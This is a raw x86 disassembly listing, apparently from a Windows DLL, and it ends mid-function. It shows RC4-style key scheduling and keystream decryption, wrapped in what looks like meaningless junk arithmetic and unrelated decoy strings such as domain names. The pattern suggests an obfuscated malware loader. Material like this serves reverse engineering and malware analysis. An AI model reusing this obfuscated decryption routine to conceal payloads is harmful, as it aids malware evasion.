xor eax, eax
mov dword [ebp - 0xcc], 0x1482
inc eax
mov dword [ebp - 0xc0], 0xb76
xor ecx, edx
mov dword [ebp - 0xd0], eax
push 0x30
mov dword [ebp - 0xc8], eax
mov edx, str.1_1_1_1_10141H1L1d1h1l1p1t1x1
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xbc], eax
pop eax
mov dword [ebp - 0x60], ecx
push ecx
mov ecx, str.DllGetVersion
mov dword [ebp - 0xb8], 0x88b
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], 0xbc5
call fcn.100051fa
pop ecx
add esi, 0x7e5cd1d7
push 9
mov dword [ebp - 0x14], esi
mov dword [0x1003e6c0], esi
pop eax
cmp edi, 2
je 0x10008572
inc edi
cmp edi, eax
jl 0x10008568
mov eax, dword [ebp + edi*4 - 0xd0]
mov esi, str.6E6Z6q6_t7
lea edi, [ebp - 0x90]
mov dword [ebp - 0x98], eax
xor eax, eax
mov dword [ebp - 0x74], 0x2a044722
mov dword [ebp - 0x70], 0x3d9ee799
mov ecx, eax
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x6c], 0xa72abeae
mov dword [ebp - 0x1c], eax
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov byte [ebp + ecx - 0x228], cl
inc ecx
cmp ecx, 0x100
jb 0x100085aa
mov dword [ebp - 0x18], eax
call fcn.100033db
push 0x14
pop ecx
mov esi, 0x10033bb0
lea edi, [ebp - 0x100]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x14]
xor eax, eax
push 0x73
pop ecx
cmp cx, word [ebp - 0x100]
jne 0x1000865a
mov edx, ecx
mov edi, eax
mov ecx, eax
test dx, dx
je 0x10008629
cmp word [ebp + ecx - 0x100], ax
je 0x10008629
push str.prezi.com
mov edx, str.1_1_1_1_10141H1L1d1h1l1p1t1x1
mov ecx, esi
call fcn.1000516c
mov esi, dword [0x1003e6c0]
inc edi
pop ecx
lea ecx, [edi + edi]
movzx edx, word [ecx + str.sandcats]
cmp dx, word [ebp + ecx - 0x100]
jne 0x10008629
xor eax, eax
jmp 0x100085e9
mov eax, dword [ebp - 0x44]
jmp 0x10008656
cmp eax, 0x72
jne 0x1000864c
imul esi, esi, 0x9e72e888
push ecx
mov ecx, str.1_1_1_1_10141H1L1d1h1l1p1t1x1
mov edx, esi
call fcn.1000493c
mov eax, dword [ebp - 0x44]
add esp, 4
imul esi, esi, 0x8cab4c8a
inc eax
mov dword [ebp - 0x44], eax
cmp eax, edi
jb 0x1000862e
call fcn.100059fe
xor edi, edi
cmp byte [str.vtable_constructor_called_recursively:__s], 0
je 0x1000867a
sub esi, 0x9b359e1
inc edi
cmp byte [edi + str.vtable_constructor_called_recursively:__s], 0
jne 0x1000866a
call fcn.10003284
mov eax, dword [ebp - 0xa0]
cmp eax, edi
jae 0x100086a7
cmp eax, 0xc4b
jne 0x10008696
and esi, 0x3bfc5279
add esi, 0xcc76379
inc eax
cmp eax, edi
jb 0x10008689
mov dword [ebp - 0xa0], eax
mov edi, dword [ebp - 0x18]
xor edx, edx
mov eax, edi
and esi, 0x8c0acb10
div dword [ebp - 0x68]
mov cl, byte [ebp + edi - 0x228]
mov byte [ebp - 0x10], cl
movzx ecx, cl
mov dword [ebp - 0x14], esi
movzx eax, byte [ebp + edx - 0x90]
add eax, dword [ebp - 0x1c]
add ecx, eax
mov dword [0x1003e6c0], esi
movzx ecx, cl
mov dword [ebp - 0x1c], ecx
mov al, byte [ebp + ecx - 0x228]
mov byte [ebp + edi - 0x228], al
inc edi
mov al, byte [ebp - 0x10]
mov byte [ebp + ecx - 0x228], al
mov dword [ebp - 0x18], edi
cmp edi, 0x100
jb 0x100085bd
mov esi, str.weebly.com
lea edi, [ebp - 0x50]
xor eax, eax
mov edx, eax
mov dword [ebp - 0x44], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, eax
lea eax, [edi + 1]
movzx edi, al
push ecx
push ecx
mov ecx, str.DllGetVersion
mov al, byte [ebp + edi - 0x228]
mov byte [ebp - 0x10], al
movzx eax, al
mov dword [ebp - 0x64], eax
add eax, edx
movzx eax, al
mov dword [ebp - 0x1c], eax
call fcn.10003f9a
mov al, byte [str.Windows_95_OSR2]
xor esi, esi
pop ecx
pop ecx
cmp al, byte [ebp - 0x50]
jne 0x1000876e
test al, al
je 0x1000876e
cmp byte [ebp + esi - 0x50], 0
je 0x1000876e
mov al, byte [esi + 0x1003e541]
inc esi
cmp al, byte [ebp + esi - 0x50]
je 0x10008756
call fcn.10004f39
movzx eax, byte [ebp + esi - 0x50]
movzx ecx, byte [esi + str.Windows_95_OSR2]
sub ecx, eax
cmp ecx, 0x1973
jbe 0x10008792
imul ecx, dword [ebp - 0x14], 0x3ea71749
jmp 0x1000879b
mov ecx, dword [ebp - 0x14]
and ecx, 0xaf3212b5
mov edx, dword [ebp - 0x1c]
push 0xc
mov dword [ebp - 0x14], ecx
mov dword [0x1003e6c0], ecx
mov al, byte [ebp + edx - 0x228]
mov byte [ebp + edi - 0x228], al
mov al, byte [ebp - 0x10]
mov byte [ebp + edx - 0x228], al
movzx eax, byte [ebp + edi - 0x228]
add eax, dword [ebp - 0x64]
mov edx, dword [ebp - 0x44]
movzx eax, al
mov al, byte [ebp + eax - 0x228]
xor al, byte [ebp + edx - 0x74]
mov byte [ebp + edx - 0x258], al
inc edx
pop eax
mov dword [ebp - 0x44], edx
cmp edx, eax
mov edx, dword [ebp - 0x1c]
jb 0x1000871e
mov esi, str.2_2a2g2q2
mov byte [ebp - 0x24c], 0
lea edi, [ebp - 0x50]
mov dword [ebp - 0x90], 0xa8d0d6e9
push 0x1b
pop eax
movsd dword es:[edi], dword [esi]
mov edx, str.prezi.com
push str.Windows_95_OSR2
mov word [ebp - 0x8c], 0x177c
mov byte [ebp - 0x8a], 0xbc
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x89], al
mov byte [ebp - 0x88], 0x5c
movsw word es:[edi], word [esi]
call fcn.1000516c
mov esi, dword [0x1003e6c0]
xor eax, eax
pop ecx
mov ecx, eax
or esi, 0x3cf3638d
inc ecx
cmp word [ecx*2 + str.sandcats], ax
jne 0x1000884b
push ecx
mov dword [ebp - 0x1c], ecx
mov edx, esi
mov ecx, str.vtable_constructor_called_recursively:__s
mov dword [ebp - 0x14], esi
call fcn.1000493c
mov edi, dword [ebp - 0x98]
add esp, 4
cmp edi, dword [ebp - 0x1c]
jae 0x100088b2
mov dword [ebp - 0x44], esi
jmp 0x10008885
mov esi, dword [ebp - 0x64]
call fcn.10003623
cmp edi, 0x2392
jne 0x1000889b
mov esi, dword [ebp - 0x44]
add esi, 0xb7226774
imul esi, esi, 0x1c33a3ef
inc edi
mov eax, esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x64], eax
cmp edi, dword [ebp - 0x1c]
jb 0x10008882
xor eax, eax
mov ecx, eax
mov byte [ebp + ecx - 0x228], cl
inc ecx
cmp ecx, 0x100
jb 0x100088b6
mov edi, eax
mov esi, eax
xor edx, edx
mov cl, byte [ebp + edi - 0x228]
mov eax, edi
mov byte [ebp - 0x10], cl
div dword [ebp - 0x68]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x50]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x228]
mov byte [ebp + edi - 0x228], al
inc edi
mov al, byte [ebp - 0x10]
mov byte [ebp + esi - 0x228], al
cmp edi, 0x100
jb 0x100088ca
call fcn.100059fe
mov esi, dword [ebp - 0x14]
mov edi, str.sandcats
call fcn.10003623
lea edi, [edi + 2]
xor eax, eax
or esi, 0x8d522fb
cmp word [edi], ax
jne 0x10008918
mov ecx, eax
and esi, 0xbf0f50be
inc ecx
cmp word [ecx*2 + str.DllGetVersion], ax
jne 0x1000892f
mov dword [ebp - 0x64], ecx
call fcn.10003896
mov ecx, dword [ebp - 0x98]
mov edi, esi
mov edx, dword [ebp - 0x64]
cmp ecx, edx
jae 0x10008977